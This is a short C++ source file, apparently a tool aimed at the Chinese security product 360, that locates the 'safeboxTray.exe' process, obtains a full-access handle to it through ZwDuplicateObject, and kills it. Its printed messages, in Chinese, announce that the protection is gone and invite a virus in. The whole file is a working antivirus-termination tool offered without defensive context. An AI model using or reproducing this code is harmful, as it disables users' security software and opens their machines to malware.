360.CPP

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

unsigned long getprocid(char *pn)
{
    BOOL b;
    HANDLE hnd;
    PROCESSENTRY32 pe;

    hnd=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

    pe.dwSize=sizeof(pe);
    b=Process32First(hnd,&pe);
    while(b)
    {
        if(strcmp(pn,pe.szExeFile)==0)return pe.th32ProcessID;
        b=Process32Next(hnd,&pe);
    }

    return 0;
}


int main()
{
HMODULE hNTDLL   =   GetModuleHandle("ntdll.dll");
void (WINAPI *ZwDuplicateObject) (DWORD,HANDLE,DWORD,PHANDLE,unsigned long,unsigned long,unsigned long);
(FARPROC&)ZwDuplicateObject= GetProcAddress(hNTDLL,"ZwDuplicateObject");
DWORD pid=0;

pid=getprocid("safeboxTray.exe");
if(pid==0)
{
printf("找不到360保险箱的进程ID");
}
HANDLE ProcessHandle=OpenProcess(PROCESS_DUP_HANDLE,FALSE,pid);
if(ProcessHandle != NULL)
{
ZwDuplicateObject(-1,ProcessHandle,-1,&ProcessHandle,2035711,0,1);
TerminateProcess(ProcessHandle,0);
printf("我走了,毒来吧\n");
return 1;
}
printf("升级了\n");
return 0;
}